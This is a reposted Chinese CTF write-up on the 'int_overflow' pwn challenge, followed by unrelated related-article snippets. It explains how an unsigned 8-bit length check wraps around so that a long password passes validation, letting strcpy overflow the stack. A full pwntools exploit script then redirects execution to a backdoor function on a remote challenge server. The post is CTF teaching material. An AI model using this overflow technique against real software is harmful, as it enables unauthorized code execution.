PWN手的成长之路-19-int_overflow

news/2025/10/19 11:38:21/文章来源:https://www.cnblogs.com/B0rry/p/19150669

image

file,checksec:
image

main函数:
image

login函数:
image
程序先让用户输入用户名,并存储到变量 s 中,之后再从 s 中读取 0x19 位,并打印出来。然后让用户输入密码,读取 0x199 个字节存储到 buf 缓冲区,然后检查 buf。

check_passwd函数:
image
程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

以下参考 1000x_ 师傅的文章:
无符号 int8 的最大值是 2^8-1=255,因为多出来的部分在 C/C++ 代码中会回绕,即 256 回绕成 0 ,257 回绕成 1 ,以此类推,我们需要字符长度到达 3 的话,我们传入的大小最小应该为 259。

攻击思路:首先在choice时,选择 1,再输入用户名(随便输入),之后再溢出密码区域,dest 和 s。
查看 dest 的栈,它需要溢出 0x14+4,之后让其跳转到 backdoor 函数,也就是 what_is_this 函数的内存地址,但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u ) 语句,即:让 v3 = strlen(s) 的长度保持在 0x04~0x08,也就是 buf 的长度要保持在 0x104~0x108
因此,除去前面为 buf 构造 payload 所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"]) 以外,还要在后面继续填充垃圾字符,让 buf 的长度在 0x104~0x108 之间。

exp:

from pwn import *
from LibcSearcher import *#start
r = remote('61.147.171.103',59035)
elf = ELF('./pwn')
context.log_level = 'debug'#params
backdoor_addr = elf.symbols['what_is_this']#attack
payload = b'a'*(0x14+4) + p32(backdoor_addr) 
payload = payload.ljust(0x104,b'a') #实现在 `payload` 右边添加 `b'a'` 一直将 `payload` 的长度填充至 `0x104`
r.sendlineafter(b'choice',b'1')
r.sendlineafter(b'username',b'111')
r.sendlineafter(b'passwd',payload)
r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/940275.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于火柴盒的记忆

整理电脑里的旧文件,一个修改日期在 2020/4/10 14:28 的,名为 火柴盒.txt 的文件里记录这下面这样的信息:火柴盒爬虫 http://chaifei.huochaihe.cc/share.php?app=chaifei&id=5774 8-5999在浏览器地址栏里,复…

FFmpeg开发笔记(八十四)使用国产的librestreaming实现RTMP直播

​《FFmpeg开发实战:从零基础到短视频上线》一书的“10.2.2 FFmpeg向网络推流”介绍了轻量级流媒体服务器MediaMTX,通过该工具可以测试RTSP/RTMP等流媒体协议的推拉流。可是在此之前,得先有一个推流工具向MediaMTX…

2025 年闪测仪厂家企业品牌推荐排行榜,一键式闪测仪,卧式闪测仪,影像闪测仪,立式闪测仪,2D3D 混合式闪测仪,高精度闪测仪,大量程闪测仪,复合式闪测仪公司推荐

在当前工业制造向高精度、智能化转型的大背景下,闪测仪作为实现精密测量与质量把控的关键设备,其市场需求持续攀升。然而,行业发展过程中也面临诸多问题,一方面,部分闪测仪供应商缺乏核心技术支撑,产品精度难以满…

2025 年护栏板厂家企业品牌推荐排行榜,波形,高速,镀锌,二波,三波,喷塑,国标,绳索,公路护栏板,护栏板立柱公司推荐

在当前道路建设快速发展的背景下,护栏板作为保障道路交通安全的关键设施,市场需求持续增长。然而,护栏板行业却面临着诸多亟待解决的问题。一方面,市场上护栏板产品质量参差不齐,部分厂家为降低成本,采用劣质钢材…

2025 年船用锅炉厂家企业品牌推荐排行榜,基于市场口碑,评选值得信赖的船用锅炉公司推荐

引言在船舶行业持续发展的当下,船用锅炉作为船舶动力系统的关键设备,其性能与质量直接影响船舶的安全航行与运营效率。然而,当前船用锅炉市场呈现出生产厂家数量众多、产品质量参差不齐的局面。部分厂家缺乏核心技术…

2025 年反应釜厂家企业品牌推荐排行榜,实验室,高压,加氢,不锈钢,试验室,氢化,聚合,高温,钛材反应釜公司推荐

引言 在当前化工、医药、新材料等行业快速发展的背景下,反应釜作为核心生产设备,其性能与质量直接影响企业的生产效率、产品品质及生产安全。然而,反应釜市场目前存在诸多问题,市场上源头厂家数量众多,但水平参差…

2025 年耐火砖厂家企业品牌推荐排行榜,绝热,轻质,莫来石,保温,莫来石轻质,氧化铝泡沫,氧化铝空心球,抗渗碳,高温轻质莫来石,高温耐火砖公司推荐

在工业生产领域,耐火砖作为陶瓷、冶金、机械、石油、化工、新能源等行业的基础材料,其质量与性能直接影响着工业炉窑的安全运行和使用寿命。当前,耐火砖市场品牌众多,产品质量参差不齐,部分产品存在高温稳定性差、…

2025 年启闭机厂家企业品牌推荐排行榜,四川启闭机,四川卷扬启闭机,四川螺杆启闭机,固定卷扬启闭机,手电两用螺杆启闭机,电装启闭机公司推荐

在水利工程建设领域,启闭机作为控制闸门运行的关键设备,其质量稳定性、技术适配性与服务专业性直接影响整个工程的安全运行与使用寿命。当前市场上,启闭机制造厂家数量众多,但产品质量参差不齐,部分厂家存在生产设…

2025 年清污机厂家企业品牌推荐排行榜,四川清污机,格栅清污机,回转式清污机,回转式格栅清污机,不锈钢清污机公司推荐公司推荐

在水利工程、污水处理、市政建设等领域,清污机作为关键设备,承担着清除水体中漂浮物、沉积物的重要任务,直接影响着水体环境质量与工程运行效率。然而当前清污机行业面临诸多问题,部分厂家生产的设备存在耐腐蚀性能…

2025 年铸铁闸门厂家企业品牌推荐排行榜,四川铸铁闸门,镶铜铸铁闸门,渠道铸铁闸门,圆形铸铁闸门,方形铸铁闸门公司推荐

在水利工程建设领域,铸铁闸门作为关键控制性设备,其质量稳定性、适配性与供货效率直接影响工程整体进度与长期运行安全。当前市场中,铸铁闸门供应商数量众多,但产品质量参差不齐,部分厂家存在规格不全、定制周期长…

2025 年防撞钢护栏生产厂家最新推荐排行榜:桥梁 / 不锈钢 / 复合管 / 景观 / 灯光 / 热镀锌等多类型护栏精选

随着道路交通建设不断推进,防撞钢护栏作为保障交通安全的关键设施,市场需求日益增长,但行业乱象也让采购方陷入选择困境。部分厂家用劣质钢材降低成本,导致护栏强度不足、耐腐蚀性差;部分厂家缺乏专业设计与施工团…

Java继承的实现

我将用完整的 Java 代码示例来展示继承的实现,包括父类、子类的定义以及继承关系的使用: // 父类:动物 public class Animal {// 共享属性protected String name;protected int age;// 父类构造方法public Animal(S…

2025 年钢闸门厂家企业品牌推荐排行榜,四川不锈钢闸门,渠道钢闸门,河道钢闸门,水库钢闸门,平面钢闸门,手动钢闸门,电动钢闸门,液压钢闸门公司推荐

在水利工程建设领域,钢闸门作为关键设备,其质量与性能直接关系到工程的安全稳定运行以及水资源的合理调控。然而当前钢闸门行业发展面临诸多问题,部分厂家生产设备简陋,缺乏专业技术团队,导致产品质量参差不齐,无…

「学习笔记」Linux 学习笔记(持续更新中)

New BeginningShell(命令行) 命令格式 command parameters(命令 参数) 长短参数 单个参数:ls -a(a 是英文 all 的缩写,表示“全部”) 多个参数:ls -al(全部文件 + 列表形式展示) 单个长参数:ls --all…

概率DP

概率DPpoj 2096

2025年卫衣厂家推荐排行榜,秋冬新款卫衣,情侣卫衣,运动休闲卫衣,潮流时尚卫衣公司推荐!

2025年卫衣厂家推荐排行榜:秋冬新款、情侣卫衣、运动休闲与潮流时尚卫衣公司推荐随着秋冬季节的到来,卫衣成为了人们衣橱中的必备单品。无论是日常穿搭还是运动休闲,一款优质的卫衣都能为你的造型增添亮点。为了帮助…

2025年不锈钢酸洗钝化液厂家推荐排行榜,环保型不锈钢清洗钝化液,不锈钢管酸洗钝化处理公司推荐!

2025年不锈钢酸洗钝化液厂家推荐排行榜,环保型不锈钢清洗钝化液,不锈钢管酸洗钝化处理公司推荐!随着工业技术的不断进步和环保要求的日益严格,不锈钢酸洗钝化液在制造业中的应用越来越广泛。本文将对2025年市场上领…

Say 题选记(10.12 - 10.18)

P12026 [USACO25OPEN] Compatible Pairs S 首先如果一个点只能与一个点匹配,那肯定优先满足他。然后难点在于发现图上总是有一个度数为 1 的点(没有环)。因为如果 \(a\),\(b\),\(c\) 三个不同的点互相有环的话那么…

.NET Runtime 项目区域责任人与协作机制分析

概述[这份文档]( https://github.com/dotnet/dotnet/blob/main/src/runtime/docs/area-owners.md) 是 dotnet/runtime 仓库的核心治理文档,详细定义了该项目的区域划分、责任人分配以及问题处理流程。作为 .NET 生态系…

AI视频换人工具来了!动作表情完美还原,附下载链接

近年来,随着AI扩散模型的发展,角色动画技术在电影制作、广告、数字人创建等领域取得了巨大的应用潜力。然而,现有技术大多是“局部”的,即要么专注于脸部、口型替换,要么只能模仿迁移角色的简单动作,且许多模型在…